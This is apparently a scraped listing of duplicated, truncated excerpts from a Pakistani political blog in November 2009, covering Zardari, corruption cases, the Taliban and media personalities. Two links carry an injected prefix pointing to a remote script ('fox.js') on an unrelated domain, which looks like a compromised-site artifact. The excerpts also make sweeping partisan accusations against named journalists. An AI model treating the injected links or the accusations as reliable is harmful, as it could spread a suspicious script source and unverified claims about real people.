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Establishment’s temporary NRO for Yusuf Raza Gilani: It seems that the all powerful establishment in Pakistan and their agents in Pakistani media have decided to, at least temporarily, ignore the cases of alleged corruption against Prime Minister Yusuf Raza Gilani (and other politicians). They have offered

Establishment’s temporary NRO for Yusuf Raza Gilani: It seems that the all powerful establishment in Pakistan and their agents in Pakistani media have decided to, at least temporarily, ignore the cases of alleged corruption against Prime Minister Yusuf Raza Gilani (and other politicians). They have offered

Charge sheet against Zardari: Enemies of democracy and supporters of Taliban taunt President Zardari for what they term as his cowardice to refrain from exposing himself in public meetings. The main aim of the Mullah Media Alliance here is to help their foot-soldiers

Charge sheet against Zardari: Enemies of democracy and supporters of Taliban taunt President Zardari for what they term as his cowardice to refrain from exposing himself in public meetings. The main aim of the Mullah Media Alliance here is to help their foot-soldiers

Mir Shakil-ur-Rahman: The most reliable tool of Pakistani establishment: Pakistan’s second richest man: Mir Shakil-ur-Rahman The notorious blackmailer, anarchist and the owner of the Jang/Geo Group of Pakistan تو جو مخلص اگر ہے تو یہ کام کر کارخانے کو مزدور کے نام کر Geo TV involved in running

Mir Shakil-ur-Rahman: The most reliable tool of Pakistani establishment: Pakistan’s second richest man: Mir Shakil-ur-Rahman The notorious blackmailer, anarchist and the owner of the Jang/Geo Group of Pakistan تو جو مخلص اگر ہے تو یہ کام کر کارخانے کو مزدور کے نام کر Geo TV involved in running

The real conspirators – By Ahsan Iqbal: Article suggested by Syed Ali Raza: Although the author may not align himself with the political views of “Let us build Pakistan”, he offers a valuable perspective on present deferring and escapist tendencies in our society. The real conspirators

The real conspirators – By Ahsan Iqbal: Article suggested by Syed Ali Raza: Although the author may not align himself with the political views of “Let us build Pakistan”, he offers a valuable perspective on present deferring and escapist tendencies in our society. The real conspirators

Baitullah Mehsud Shaheed: Baitullah Mehsud is shaheed: a claim by Mullah Fazlur-Rehman dehshat gard. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.nawaiwaqt.com.pk/E-Paper/Lahore/2009-11-20/page-12/detail-10

Baitullah Mehsud Shaheed: Baitullah Mehsud is shaheed: a claim by Mullah Fazlur-Rehman dehshat gard. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.nawaiwaqt.com.pk/E-Paper/Lahore/2009-11-20/page-12/detail-10

We must support Police in Pakistan’s war against Takfiri Deobandi terrorists: Here are two excellent articles by Dr Ayesha Siddiqa and Muhammad Amir Khakwani in appreciation of policemen sacrificing their lives in Pakistan’s war on terror.

We need to support Police in our war against Taliban terrorists: Perils of policingBy Ayesha SiddiqaFriday, 20 Nov, 2009 (Dawn) IT doesn’t take a genius to notice the mounting pressure on the PPP government and President Zardari, especially after former partner PML-N decided to adopt an aggressive policy towards the

Zardari responsible for corruption in Pakistan?: In the following op-ed, Nazir Najis argues that it is not politicians but the civil and military establishment which is the biggest thief in Pakistan.

Zardari responsible for corruption in Pakistan?: In the following op-ed, Nazir Najis argues that it is not politicians but the civil and military establishment which is the biggest thief in Pakistan.

‘Goebbels Eleven’, minus-one brigade and Nawaz Sharif: Here are three columns on this topic: The first one is by Ayaz Amir (a PML-N MNA) who terms the minus-one brigade (Shahid Masood, Ansar Abbasi, Shaheen Sehabi etc) as media galdiators. The second column is by Asadullah Ghalib

“Goebbels Eleven”, minus-one brigade and Nawaz Sharif: Here are three columns on this topic: The first one is by Ayaz Amir (a PML-N MNA) who terms the minus-one brigade (Shahid Masood, Ansar Abbasi, Shaheen Sehabi etc) as media galdiators. The second column is by Asadullah Ghalib

Kidhray na paindiyan dassaan: In memory of Faiz Ahmed Faiz: vs Faiz Ahmed Faiz (February 13, 1911-November 20, 1984) Faiz Ahmed Faiz and Zulfiqar Ali Bhutto Not much has been written about the relationship between Faiz Ahmed Faiz and Zulfiqar Ali Bhutto. Here are a few pieces which demonstrate

Kidhray naan paindiyan dassaan: In memory of Faiz Ahmed Faiz: vs Faiz Ahmed Faiz (February 13, 1911-November 20, 1984) Faiz Ahmed Faiz and Zulfiqar Ali Bhutto The poem Meray dil meray musafir (“My heart, my traveller”) was written in 1977 when Faiz left Pakistan after the overthrow of Bhutto.

Laal’s meeting in Islamabad: War against the Taliban terrorists: LAAL BRIGADE MEETING IN ISLAMABAD Dear comrades and friends, Laal Salaam! Pakistan has been rocked by a spate of terrorist

Laal’s meeting in Islamabad: War against the Taliban terrorists: LAAL BRIGADE MEETING IN ISLAMABAD Dear comrades and friends, Laal Salaam! Pakistan has been rocked by a spate of terrorist activities in the past few months.The Taliban have spared no one, suicide bombers have hit the Bazar’s and the

Fazail-e-martial law wa khabais-e-jamhooriat: Here is a column by the unofficial spokesperson of the Ziaist (military) establishment in Pakistan, Haroon-ur-Rasheed in defence of the military establishment and against democracy. Mr Haroon-ur-Rasheed has in the past written an official history of Islam, titled ‘Fateh’,

Fazail-e-martial law wa khabais-e-jamhooriat: Here is a column by the unofficial spokesperson of the Ziaist (military) establishment in Pakistan, Haroon-ur-Rasheed in defence of the military establishment and against democracy. Mr Haroon-ur-Rasheed has in the past written an official history of Islam, titled ‘Fateh’,

Why are Taliban attacking innocent civilians in Pakistan?: Suicide attack in Peshawar leaves at least 19 deadBy Ismail Khan (Dawn)Thursday, 19 Nov, 2009 PESHAWAR: At least 19 people were killed and 50 wounded when a suicide bomber struck the district judicial complex on Thursday morning, city administration

Why are Taliban attacking innocent civilians in Pakistan?: Suicide attack in Peshawar leaves at least 19 deadBy Ismail Khan (Dawn)Thursday, 19 Nov, 2009 PESHAWAR: At least 19 people were killed and 50 wounded when a suicide bomber struck the district judicial complex on Thursday morning, city administration

People’s Republic of Pakistan?: vs By Abdul Nishapuri According to the vision of the founder of Pakistan, Quaid-e-Azam Muhammad Ali Jinnah, Pakistan was to be country in which everyone including Muslims and non-Muslims would be free to exercise their beliefs and practices and

People’s Republic of Pakistan?: vs By Abdul Nishapuri According to the vision of the founder of Pakistan, Quaid-e-Azam Muhammad Ali Jinnah, Pakistan was to be country in which everyone including Muslims and non-Muslims would be free to exercise their beliefs and practices and

From Zion Hamid to Wali Azmat to Insaaf-e-Khan: The Pakistani extras of conspiracy theory: Extra! Extra! By Nadeem F. Paracha 19 November 2009 Islamabad, November 18: Famous anti-India TV personality, Zion Hamid, was caught yesterday watching Shakuntali, a popular Indian TV soap

From Zion Hamid to Wali Azmat to Insaaf-e-Khan: The Pakistani extras of conspiracy theory: Extra! Extra!By Nadeem F. Paracha 19 November 2009 Islamabad, November 18: Famous anti-India TV personality, Zion Hamid, was caught yesterday watching Shakuntali, a popular Indian TV soap opera. The discovery was made by one of his fans who Hamid

The Zionist prism of Zaid Hamid and Ahmed Quraishi: It’s the stupidity, stupid Thursday, November 19, 2009Zafar Khalid Farooq Whilst it is common to hear, or read, the unenlightened ramblings of various ‘experts’ in the media these days, it’s strange to find examples of anti-intellectualism in a bookshop.

The Zionist prism of Zaid Hamid and Ahmed Quraishi: It’s the stupidity, stupid Thursday, November 19, 2009Zafar Khalid Farooq Whilst it is common to hear, or read, the unenlightened ramblings of various ‘experts’ in the media these days, it’s strange to find examples of anti-intellectualism in a bookshop.

NRO, Supreme Court and Dr Shahid Masood’s Naani: By Qais Anwar تیری نانی چھالیہ کاٹ رہی ہے بہت عرصہ ہواہم گھوڑا گلی کے سکاوٹ کیمپ میں کیمپ فا۶ر میں بیٹھے تھے ۔ ساہیوال کےایک سکول کےلڑکوں نے قوالی کے آمیزے کے ساتھ ایک لطیفہ سنایا ۔ پرانے

Transparency, Corruption and Nawaz Sharif: Special interview of Nawaz Sharif with Hamid Mir and Sohail Warraich Geo TV: 17 November 2009 A column in defence of Nawaz Sharif – by Ataul Haq Qasimi

Transparency, Corruption and Nawaz Sharif: Special interview of Nawaz Sharif with Hamid Mir and Sohail Warraich Geo TV: 17 November 2009 A column in defence of Nawaz Sharif – by Ataul Haq Qasimi What do oridnary Pakistanis thinks?Source: friendskorners; pkpolitics http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.siasat.pk/forum/viewtopic.php?f=16&t=12687 taffembank said:nawaz sharif

Transparency International 2009 Report on Pakistan: An Analysis: In its annual Corruption Perceptions Index, the TI said Pakistan’s 2009 Corruption Perceptions Index Score is 2.4, and of the 180 countries and in its ranking as the most corrupt country it has slipped five ranks, from 47 in

Transparency International 2009 Report on Pakistan: An Analysis: In its annual Corruption Perceptions Index, the TI said Pakistan’s 2009 Corruption Perceptions Index Score is 2.4, and of the 180 countries and in its ranking as the most corrupt country it has slipped five ranks, from 47 in

Pakistan after President Zardari: Hasan Nisar presents a realistic picture of a scenario even if the minus-one (minus-Zardari) formula of the pro-Taliban and anti-democracy establishment is implemented in Pakistan. Next is a column by Latif Chaudhry in which he compares certain senior members

Pakistan after President Zardari: Hasan Nisar presents a realistic picture of a scenario even if the minus-one (minus-Zardari) formula of the pro-Taliban and anti-democracy establishment is implemented in Pakistan. Next is a column by Latif Chaudhry in which he compares certain senior members

Why did Shahid Masood and Shaheen Sehbai go to meet President Zardari?: Why Dr Shahid Masood and Shaheen Sehbai try to meet President Asif Zardari last week? According to Hamid Mir, Zardari refused to see both of them, and instead asked them to continue writing and speaking against him as much

The majoirty of Pakistanis blame media for political instability in the country.: It seems that the Pakistani nation is, in general, aware of the evil designs (i.e. anti-democracy and pro-Taliban activities) of the Pakistani Taliban Union of Journalists (also known as the Mullah Media Alliance). Perceptions on Media and Political InstabilityGILANI

The majoirty of Pakistanis blame media for political instability in the country.: It seems that the Pakistani nation is, in general, aware of the evil designs (i.e. anti-democracy and pro-Taliban activities) of the Pakistani Taliban Union of Journalists (also known as the Mullah Media Alliance). Perceptions on Media and Political InstabilityGILANI